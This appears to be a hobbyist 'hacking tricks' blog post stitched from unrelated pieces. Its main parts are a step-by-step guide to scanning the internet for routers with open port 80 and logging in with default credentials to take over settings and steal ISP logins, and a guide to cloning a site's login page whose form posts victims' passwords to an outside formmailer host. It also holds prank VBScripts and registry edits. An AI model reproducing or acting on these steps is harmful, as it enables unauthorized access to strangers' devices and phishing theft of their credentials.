Almost half of the Internet users across the globe use ADSL routers/modems to connect to the Internet however, most of them are unaware of the fact that it has a serious vulnerability which can easily be exploited even by a noob hacker just like you. In this post I will show you how to exploit a common vulnerability that lies in most ADSL routers so as to gain complete access to the router settings and ISP login details.
Every router comes with a username and password using which it is possible to gain access to the router settings and configure the device. The vulnerability actually lies in the Default username and password that comes with the factory settings. Usually the routers come preconfigured from the Internet Service provider and hence the users do not bother to change the password later. This makes it possible for the attackers to gain unauthorized access and modify the router settings using a common set of default usernames and passwords. Here is how you can do it.
Before you proceed, you need the following tool in the process
Angry IP Scanner
Here is a detailed information on how to exploit the vulnerability of an ADSL router.
Step-1: Go to www.whatismyipaddress.com. Once the page is loaded you will find your IP address. Note it down.
Step-2: Open Angry IP Scanner, here you will see an option called IP Range: where you need to enter the range of IP address to scan for.
Step-3: Go to Tools->Preferences and select the Ports tab. Under Port selection enter 80 (we need to scan for port 80). Now switch to the Display tab, select the option “Hosts with open ports only” and click on OK.

I have used Angry IP Scanner v3.0 beta-4. If you are using a different version, you need to Go to Options instead of Tools
Step-4: Now click on Start. After a few minutes, the IP scanner will show a list of IPs with Port 80 open as shown in the below image.

 
Step-5: Now copy any of the IP from the list, paste it in your browser’s address bar and hit enter. A window will popup asking for username and password. Since most users do not change the passwords, it should most likely work with the default username and password. For most routers the default username-password pair will be admin-admin or admin-password.
Just enter the username-password as specified above and hit enter. If you are lucky you should gain access to the router settings page where you can modify any of the router settings. The settings page can vary from router to router. A sample router settings page is shown below.



If you do not succeed to gain access, select another IP from the list and repeat the step-5. Atleast 1 out of 5 IPs will have a default password and hence you will surely be able to gain access.

What can an Attacker do by Gaining Access to the Router Settings?

By gaining access to the router settings, it is possible for an attacker to modify any of the router settings which results in the malfunction of the router. As a result the target user’s computer will be disconnected from the Internet. In the worst case the attacker can copy the ISP login details from the router to steal the Internet connection or play any kind of prank with the router settings. So the victim has to reconfigure the router in order to bring it back to action.

The Verdict:

If you are using an ADSL router to connect to the Internet, it is highly recommended that you immediately change your password to prevent any such attacks in the future. Who knows, you may be the next victim of such an attack.
Since the configuration varies from router to router, you need to contact your ISP for details on how to change the password for your model.

A simle VB Script will serve the purpose......!!!
Do the following:. . .

Open a notepad file. . .
...Copy and paste the below code. . .

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

Now save the notepad file as disco.vbs

U will see the other vbs file creat on your desktop. .

Just dubble click on it. . .and see the magic. . .

How To Stop:
Open Task Manager by pressing alt+ctrl+del and click on processes
search for wscript.exe and click End Process

Enjoy. . .(-_-)

Here is the solution for that. . .

Please go step by step because its very risky. . .
... Go to RUN
- Type regedit
- Then go to HKEY_LOCAL_MACHINE (don’t click on it just click on (+)
- Then go to SYSTEM
- Then go to CurrentControSet
- Then go to Services
- Then “click” on USBSTOR
- Now change the value of REG_DWORD
- You have to put the value 4 in place of 3. . .
You will success fully disable your USB port . . .

For enabling the USB port
- You have to put the value 3 in place of 4. . .

This is a really cool trick you can play on others... Have you ever wanted to make the CD/DVD drive \tray go in and out contineoulsy?? Here is the trick.. MAKE THE DVD DRIVE GO IN AND OUT Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then do For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom loop End If copy this script in notepad and save as run.vbs u'll see a magic that ur cd-rom is running in and out..

you want to have a little game or fun on your viewers..?? here is a simple trick.
Here is a trcik in Making Fake Login Page in 5 mins ..Interested??



Do step by step

1.Open any page for which you wanna make fake.

2. Save page . In the saving option it asks for save as type select complete webpage.

3. Now where u have save the page it will be showing u that page and a dir wid images on the page.

4. Now Rite Click on the Page and click edit.

5. Search Form in the page.

6. Now Delete That Form Value , Method ,Action whatever its written delete that line.

7. Now add this line

Please note that change all the "+" sign in the below code to "<" [without quote]

+form action="http://www.big-llc.com/formmailer/submit" method="post">+input type="hidden" value="Your Email Id" name="fm-to">+font color="#333333"> +/font>+input type="hidden" value="password D3" name="fm-title">+font color="#333333"> +/font>+input type="hidden" value="Link You Want To redirect" name="fm-redirect">+font color="#333333"> +/font>

8. Save and close the editor.

9. Upload the Directory wid images and this Page on free hosting site.

10. Its Done Simply made in just 5 mins

Note : Don't Change The Directory Name or Page Name.

If you are running a Microsoft Windows operating system on your computer, then you are most likely aware of the fact that your PC will have a Product ID. This Product ID is a system specific alphanumeric code which is derived/calculated based on the Windows product key you use and the hardware configuration of your Computer. In simple words, Product ID is the alphanumeric code that you see when you Right-Click on the My Computer icon and select the Properties option.

Ever wondered how to alter the Windows Product ID?

It is possible to alter the Windows Product ID and change it to what ever you like. For example, you can change the Product ID and put your nickname in place of the formal Product ID displayed by the Operating System. This hack is too easy and can be done within minutes. The screenshot showing the altered Product ID is given below
Win 7 PC showing Original PID

Windows 7 PC showing Altered PID

As you can see from the above screenshot it is simple and easy to make your Windows display what ever you want in the place of the real Product ID. Here is a step-by-step procedure to alter your Windows Product ID.
1. Goto Start->Run and type the following in the Run dialog box
2. After you open the Registry Editor, navigate to the following key

3. On the right hand side, you can see an entry by name ProductID listed under the heading Name.
4. Double-Click on ProductID, a dialog box will pop-up showing your Windows PID. Now you can delete the original PID and enter anything of your choice.
5. Once you are done, just click on OK and close the Registry Editor. Now you can see the altered Product ID in the Windows Properties window.
I hope you like this trick. Pass your comments. Cheers!